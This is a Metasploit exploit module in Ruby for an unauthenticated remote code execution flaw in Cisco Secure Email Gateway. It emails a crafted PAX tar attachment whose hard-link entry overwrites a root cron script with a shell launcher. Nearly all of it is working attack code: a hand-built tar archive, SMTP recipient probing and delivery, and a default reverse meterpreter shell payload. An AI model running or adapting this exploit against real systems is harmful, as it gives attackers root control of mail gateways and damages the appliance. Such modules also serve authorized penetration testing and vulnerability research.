...[ More ]

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::SMTPDeliver
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco Secure Email Gateway AMP Arbitrary File Write RCE',
        'Description' => %q{
          An unauthenticated attacker sends an email containing a crafted tar
          attachment through Cisco Secure Email Gateway. Inside the tar, a POSIX
          pax extended header applies `linkpath=bin/core_watch.sh` to a hard-link
          member. That member also contains the module's shell command launcher.

          AMP File Reputation decodes the email attachment and passes the tar to
          `libunarchv`, AMP's native archive extractor. `libunarchv` runs as root
          and uses libarchive to write archive members. Its
          `update_full_pathname()` function replaces the member pathname in
          `archive_entry_pathname()` with a generated pathname in AMP's temporary
          extraction directory. It leaves `archive_entry_hardlink()`, which holds
          the pax `linkpath`, under the attacker's control.

          Libarchive asks the operating system to create the generated pathname as
          a hard link to `bin/core_watch.sh`. AMP's working directory is `/data`,
          so this relative `linkpath` resolves to `/data/bin/core_watch.sh`. A hard
          link is another pathname for the same file. When libarchive writes the
          member's data through the generated pathname, it therefore truncates and
          replaces `core_watch.sh`. This primitive overwrites an existing file; it
          cannot create the file named by `linkpath`, and both pathnames must be on
          the same filesystem.

          The flaw is in `libunarchv`'s hard-link validation, not the pax format.
          The module uses the file overwrite to replace /data/bin/core_watch.sh with
          a shell command launcher. The system crontab runs this script as root every
          five minutes. Before running the payload, the launcher truncates the
          replaced file to prevent another payload execution. Three other Cisco scripts are
          hard links to the same file and are also left empty. The appliance
          requires repair after exploitation.

          The check sends the hidden EUQ_FULL SMTP command to identify an AsyncOS
          mail service. SMTP does not reveal the Content Scanner Tools version or
          whether File Reputation is enabled on a mail policy, so the check
          reports only that the product was detected.

          File Reputation must be enabled and assigned to a mail policy, and
          Content Scanner Tools must be earlier than 25.3.0.5525.
        },
        'Author' => [
          'sfewer-r7' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2026-76519' ],
          [ 'URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-afw-zqYJkjxp' ]
        ],
        'DisclosureDate' => '2026-10-14',
        'Privileged' => true,
        'Payload' => {
          # Space applies to the complete command after Framework prepending and encoding. A
          # 512-KiB command plus the 89-byte launcher and PAX/tar padding produces at most a
          # 532,480-byte archive, or about 735 KiB after MIME transfer encoding. This keeps the
          # exploit email below 1 MiB; it is a conservative cap, not an AsyncOS hard limit.
          'Space' => 524_288,
          'DisableNops' => true,
          # AsyncOS lacks the non-POSIX `which` utility used by some compatible command payloads.
          'Prepend' => 'which(){ command -v $@;};',
          # AMP copies the archive body verbatim, and the shell consumes it as source. Newlines,
          # carriage returns, quotes, backslashes, and operators remain ordinary shell input;
          # only NUL cannot be represented safely in that source.
          'BadChars' => "\x00",
          # The command adapter and telnet payload both contain forbidden shell quoting. Let the
          # Framework make them safe instead of adding a second module-specific payload encoding.
          'Encoder' => 'cmd/base64',
          # AsyncOS supplies OpenSSL, so use a known decoder instead of relying on a PATH search
          # for a base64 utility whose supported command-line switches vary between systems.
          'EncoderOptions' => { 'Base64Decoder' => 'openssl' }
        },
        'Targets' => [
          [
            # Tested with the following payloads:
            # * cmd/unix/python/meterpreter/reverse_tcp
            # * cmd/unix/reverse
            # * cmd/unix/reverse_openssl
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp' } # rubocop:disable Lint/ModuleDefaultPayload
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          # Allow the default two-minute AMP scan timeout plus the next five-minute cron run.
          'WfsDelay' => 420
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE, OS_RESOURCE_LOSS ],
          'Reliability' => [ EVENT_DEPENDENT ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        }
      )
    )

    register_options([
      OptString.new('MAILFROM', [ false, 'Email sender address']),
      OptString.new('MAILTO', [ false, 'Email recipient address accepted by the gateway']),
      OptString.new('SUBJECT', [ false, 'Email subject'])
    ])

    register_advanced_options([
      OptBool.new('DefangedMode', [true, 'Run in defanged mode', true])
    ])
  end

  def check
    # Use the same negotiated SMTP session as delivery so this fingerprint also works when the
    # listener requires STARTTLS or supported SMTP authentication.
    connect_login

    # EUQ_FULL is an undocumented, AsyncOS SMTP command.
    response = smtp_send_recv("EUQ_FULL\r\n").to_s

    # This proves the target is running AsyncOS, but it may be either Cisco Secure Email Gateway or Cisco Secure Web
    # Appliance. It cannot distinguish a vulnerable release from a fixed release.
    # We could also try the HTTPS service, as that reports the product type and version, but then we assume
    # access to that interface/port which may not be true.
    return CheckCode::Detected('Detected an SMTP service on AsyncOS. Target is likely a Cisco Secure Email Gateway.') if response.match?(/\A(?:250 EUQ not full|491 #4\.9\.1 EUQ database full)\r\n\z/)

    CheckCode::Unknown('Detected an SMTP service, but the target does not appear to be a Cisco Secure Email Gateway')
  rescue Rex::ConnectionError, Rex::TimeoutError, Msf::Exploit::Remote::SMTPDeliver::SMTPCommunicationError, EOFError => e
    CheckCode::Unknown(e.message)
  ensure
    disconnect if connected?
  end

  def exploit
    if datastore['DefangedMode']
      warning = <<~EOF


        Are you SURE you want to execute the exploit against the target system?
        Running this exploit will overwrite the contents of the file
        /data/bin/core_watch.sh and the original content will not be restored.#{' '}
        After successful exploitation, this file will become an empty file,
        and future core dump diagnostics may not work as expected.

        Disable the DefangedMode option if you have authorization to proceed.
      EOF

      fail_with(Failure::BadConfig, warning)
    end

    nonce = Rex::Text.rand_text_hex(16).downcase

    # The AMP process writes the archive entry data as root; it does not execute that data.
    # Root's scheduled shell script bridges this existing-file overwrite to command execution.
    launcher = payload_launcher

    recipient = discover_recipient(nonce)

    domain = recipient.split('@', 2).last

    sender = datastore['MAILFROM'].blank? ? "#{nonce}@#{domain}" : datastore['MAILFROM'].strip

    subject = datastore['SUBJECT'].blank? ? nonce : datastore['SUBJECT']

    # A hardlink is a second pathname for an existing file. The vulnerable native
    # extractor rewrites only the entry pathname. It tells libarchive to restore
    # timestamps but enables none of libarchive's path security checks.
    # The hardlink target therefore remains unrestricted. Libarchive creates the
    # generated pathname as a hardlink, then writes the entry data through it.
    # The existing target and generated pathname must be on the same filesystem.
    #
    # AMP's working directory is /data, so this relative hardlink target names the
    # stock script directly. Root's cron service then executes the overwritten file.
    entries = [
      {
        name: "#{nonce}-core-watch",
        hardlink_target: 'bin/core_watch.sh',
        data: launcher,
        mode: 0o755
      }
    ]

    archive = build_pax_archive(entries)

    print_status("Generating #{archive.bytesize}-byte PAX hardlink archive")

    email = build_message(archive, nonce, sender, recipient, subject)

    print_warning('This exploit empties core_watch.sh and its three stock hardlink aliases; repair the appliance after testing')

    print_status("Sending #{email.bytesize}-byte AMP exploit email")

    response = deliver_message(email, 'MAILFROM' => sender, 'MAILTO' => recipient)

    # SMTP success means the gateway queued the message; AMP and cron process it asynchronously.
    fail_with(Failure::UnexpectedReply, 'SMTP DATA was not accepted') unless response&.start_with?('250')

    print_good('Exploit email accepted (Payload can take up to 7 minutes to trigger)')
  end

  def discover_recipient(nonce)
    # Recipient policy can depend on TLS and authentication, so negotiate the session before
    # testing any envelope. RSET preserves that session while clearing each test envelope.
    connect_login

    # Prefer an operator-supplied mailbox when one is known to be valid.
    candidates = [ datastore['MAILTO'] ].compact.reject(&:blank?)

    if candidates.empty?
      # SMTP banners normally contain the gateway hostname, not a mailbox address.
      hostname = banner.to_s[/\A220\s+([^\s]+)/, 1].to_s.downcase

      labels = hostname.split('.')

      # Try the hostname and its parent domains, but never send message data during these probes.
      candidates = labels.each_index.filter_map { |index| labels[index..].join('.') if labels.length - index >= 2 }
    end

    candidates.each do |address_or_domain|
      address = address_or_domain.include?('@') ? address_or_domain : "#{nonce}@#{address_or_domain}"

      next unless address.match?(/\A[^\s<>@]+@[a-z0-9.-]+\z/i)

      return address if recipient_accepted?(address, nonce)
    end

    fail_with(Failure::BadConfig, 'Could not discover an accepted recipient domain; set MAILTO')
  ensure
    disconnect if connected?
  end

  def deliver_message(message, envelope)
    # SMTPDeliver reads MAILFROM and MAILTO from the shared datastore.
    original = envelope.keys.to_h { |key| [ key, datastore[key] ] }

    # Use values derived for this one message, then restore the operator's settings in ensure.
    envelope.each { |key, value| datastore[key] = value }

    send_message(message)
  ensure
    original&.each { |key, value| datastore[key] = value }
  end

  def recipient_accepted?(address, nonce)
    domain = address.split('@', 2).last

    # Recipient policy can depend on the envelope sender, so probe with the same normalized sender
    # that SMTPDeliver uses for the final message.
    sender = datastore['MAILFROM'].blank? ? "#{nonce}@#{domain}" : datastore['MAILFROM'].strip

    return false if bad_address(sender)

    return false unless smtp_send_recv("MAIL FROM: <#{sender}>\r\n").to_s.start_with?('250')

    # SMTPDeliver proceeds only after code 250, so discovery must use the same requirement.
    accepted = smtp_send_recv("RCPT TO: <#{address}>\r\n").to_s.start_with?('250')

    # RSET discards the test envelope so discovery never queues an email.
    smtp_send_recv("RSET\r\n")

    accepted
  end

  def payload_launcher
    # core_watch.sh and three stock hardlink aliases share one inode. The shell must read the
    # complete group before executing it, so truncating that inode cannot remove unread payload
    # source. The redirect is a shell operation and does not depend on a target utility.
    <<~SH
      #!/bin/sh
      {
      PATH=$PATH:/usr/local/bin:/data/bin;export PATH
      : >/data/bin/core_watch.sh
      #{payload.encoded}
      }
    SH
  end

  # POSIX ustar requires size zero for a hardlink, but PAX permits file data.
  # This exploit needs the PAX form so one entry selects an existing file with
  # its hardlink target and supplies the replacement bytes. Common tar writers
  # normalize this entry to size zero, so assemble the archive directly.
  def build_pax_archive(entries)
    archive = entries.map { |entry| pax_hardlink_entry(**entry) }.join

    # Two zero blocks terminate the tar stream. Pad it to the conventional
    # 10,240-byte record size used by common tar writers.
    archive << "\x00" * 1024

    archive.ljust((archive.bytesize + 10_239) / 10_240 * 10_240, "\x00")
  end

  # PAX places extended metadata immediately before the tar entry it changes.
  # Build one logical hardlink entry from that metadata and a ustar header:
  #
  #   [PAX x header][linkpath record][hardlink type-1 header][replacement data]
  #
  # The vulnerable function rewrites the type-1 entry pathname but does not
  # change its linkpath value. The type-1 header also supplies the nonzero
  # size and mode that libarchive applies to the existing file.
  def pax_hardlink_entry(name:, hardlink_target:, data:, mode:)
    # The type-x header selects POSIX PAX parsing. With libarchive 3.3.1, this
    # preserves a hardlink's nonzero size; legacy ustar hardlinks are normalized
    # to zero. The linkpath record supplies the hardlink target.
    extended_data = pax_record('linkpath', hardlink_target)

    # Type x applies the PAX records to the next tar header.
    extended_header = tar_header('././@PaxHeader', extended_data.bytesize, mode: 0o644, type: 'x')

    # Type 1 marks a hardlink. Its one-byte ustar linkname is a placeholder;
    # the PAX linkpath supplies the hardlink target when libarchive reads it.
    main_header = tar_header(name, data.bytesize, mode: mode, type: '1', hardlink_target: 'x')

    # Each physical header is followed by data padded to a 512-byte tar block.
    extended_header + tar_pad(extended_data) + main_header + tar_pad(data)
  end

  # Encode a PAX key/value field whose decimal prefix declares the complete record's byte length.
  def pax_record(key, value)
    body = " #{key}=#{value}\n"

    length = body.bytesize + 1

    # Adding a digit to the prefix can increase the length, so iterate until it describes itself.
    loop do
      record = "#{length}#{body}"

      return record if record.bytesize == length

      length = record.bytesize
    end
  end

  # Construct a POSIX ustar header without normalizing a hardlink's size to zero.
  def tar_header(name, size, mode:, type:, hardlink_target: '')
    # This helper stores both strings in their 100-byte header fields and does
    # not use the optional ustar pathname prefix field.
    fail_with(Failure::BadConfig, 'Internal tar pathname exceeds 100 bytes') if name.bytesize > 100
    fail_with(Failure::BadConfig, 'Internal ustar hardlink target exceeds 100 bytes') if hardlink_target.bytesize > 100

    header = "\x00" * 512

    # Populate the pathname, mode, owner, size, time, type, and linkname fields.
    header[0, name.bytesize] = name
    header[100, 8] = format("%07o\x00", mode)
    header[108, 8] = format("%07o\x00", 0)
    header[116, 8] = format("%07o\x00", 0)
    header[124, 12] = format("%011o\x00", size)
    header[136, 12] = format("%011o\x00", Time.now.to_i)
    header[148, 8] = ' ' * 8
    header[156] = type
    header[157, hardlink_target.bytesize] = hardlink_target

    # Both physical headers use the POSIX ustar layout.
    header[257, 6] = "ustar\x00"
    header[263, 2] = '00'
    header[265, 4] = 'root'
    header[297, 5] = 'wheel'

    # Tar checksums are calculated with the checksum field temporarily filled with spaces.
    header[148, 8] = format("%06o\x00 ", header.bytes.sum)
    header
  end

  # Pad data so the next tar header starts on a 512-byte boundary.
  def tar_pad(data)
    padding = (512 - data.bytesize % 512) % 512
    data + "\x00" * padding
  end

  def build_message(archive, nonce, sender, recipient, subject)
    message = Rex::MIME::Message.new
    message.mime_defaults
    message.from = "<#{sender}>"
    message.to = "<#{recipient}>"
    message.subject = subject

    message.add_part(nonce, 'text/plain; charset=us-ascii', '7bit')

    filename = "#{nonce}.tar"

    # AMP decodes the MIME attachment to a temporary file and uses libmagic to identify
    # the archive. The MIME type and filename do not select native extraction.
    # Rex::MIME writes the transfer-encoding header only, so apply base64 here.
    message.add_part(
      Rex::Text.encode_base64(archive, "\r\n"),
      "application/x-tar; name=\"#{filename}\"",
      'base64',
      "attachment; filename=\"#{filename}\""
    )

    message.to_s
  end
end